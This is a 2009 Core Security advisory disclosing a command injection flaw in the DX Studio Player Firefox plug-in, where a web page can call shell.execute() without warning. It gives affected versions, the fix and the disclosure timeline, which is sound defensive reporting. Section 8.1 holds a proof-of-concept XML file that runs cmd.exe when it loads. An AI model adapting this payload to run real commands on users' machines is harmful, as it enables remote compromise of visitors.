DX Studio Player Firefox plug-in command injection

1. Advisory Information

Title: DX Studio Player Firefox plug-in command injection
Advisory ID: CORE-2009-0521
Advisory URL: http://www.coresecurity.com/core-labs/advisories/DXStudio-player-firefox-plugin
Date published: 2009-06-09
Date of last update: 2009-06-08
Vendors contacted: Worldweaver
Release mode: Coordinated release

2. Vulnerability Information

Class: Command injection
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: N/A
CVE Name: CVE-2009-2011

3. Vulnerability Description

DX Studio is a complete integrated development environment for creating interactive 3D graphics. DX Studio Player plug-in for Firefox is vulnerable to a remote command execution vulnerability.

4. Vulnerable packages

  • DX Studio Player v3.0.29.0
  • DX Studio Player v3.0.22.0
  • DX Studio Player v3.0.12.0
  • Older versions are probably affected too, but they were not checked.

5. Non-vulnerable packages

  • DX Studio Player v3.0.29.1

6. Vendor Information, Solutions and Workarounds

On 1st June DXStudio team patched the current release 3.0.29 to 3.0.29.1 for all new downloads to fix the problem with Firefox.

7. Credits

This vulnerability was discovered and researched by Diego Juarez from Core Security Technologies.

8. Technical Description / Proof of Concept Code

DX Studio is a complete integrated development environment for creating interactive 3D graphics. DX Studio provides a javascript API in which the method shell.execute() is defined as follows:

Prototype: shell.execute(commandString, [paramString], [commandIsProgId]); 

 

This method sends the commandString to the Windows shell with optional parameters in paramString. For security reasons, this function is not available when running in a web browser. If you set commandIsProgId to true, you can launch a utility by its ProgID, e.g. WMP.DVD with parameter play would play a DVD in Windows Media Player.

In our tests, despite what is stated in the documentation, we found that the function is actually available to both the Internet Explorer and Firefox browser plug-ins. In the IE plug-in the user does get a warning about the security implications of allowing such .dxstudio file to run. On Firefox however, there is no such warning whatsoever, allowing an attacker to execute arbitrary code on the client side by luring the victim into clicking a link or visiting a malicious website.

8.1. Proof of Concept (header.xml)

<?xml version="1.0" encoding="utf-8" standalone="yes"?> <dxstudio version="1.0.0" width="800" height="600" 
defaultscriptlanguage="javascript"> <display frame="yes" hidecursor="no" hideconsole="no" hidecontext="no" 
maxfps="100" unthrottled="no" priority="normal" syncrefresh="yes" changeresolution="no" userresize="yes" 
workarea="no" windowmask="no" src="" minplayerversion="1.0.0"> <loading console="yes" custom="no" 
custombackground="no" customlogo="yes" showversion="no"> <prop id="background" type="color" r="0" g="0" b="0" 
a="1" /> <logo src="" /> <customprogress /> </loading> </display> <script> <![CDATA[function onInit() 
{ shell.execute("cmd.exe","/k cls|@echo this is wrong, very wrong.") } ] ]> </script> <licenseinfo stamp="cgdaaaaa" 
/> <security> <prop id="password" type="string" value="" /> <prop id="allowplayer" type="bool" state="no" /> 
<prop id="nocache" type="bool" state="yes" /> </security> </dxstudio> 

 

Note: The security vulnerability is also exploitable on the standalone player, however, this functionality appears to be the expected behavior and fully intended for the standalone player.

9. Report Timeline

  • 2009-05-21: Core Security Technologies notifies the Worldweaver Support Team (WST) of the vulnerability and announces its initial plan to publish the content on June 15th, 2009.
  • 2009-05-26: The WST asks Core for a technical description of the vulnerability.
  • 2009-05-26: Technical details sent to WST by Core.
  • 2009-06-08: Core asks WST for an estimated date to fix this issue.
  • 2009-06-08: WST notifies Core that a fix has already been produced and it is available to the users.
  • 2009-06-09: The advisory CORE-2009-0521 is published.

 

11. About CoreLabs

 

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/core-labs.

12. About Core Security Technologies

Core Security Technologies develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security Technologies augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core Security Technologies can be reached on the Web at https://www.coresecurity.com.

13. Disclaimer

The contents of this advisory are copyright (c) 2009 Core Security Technologies and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team.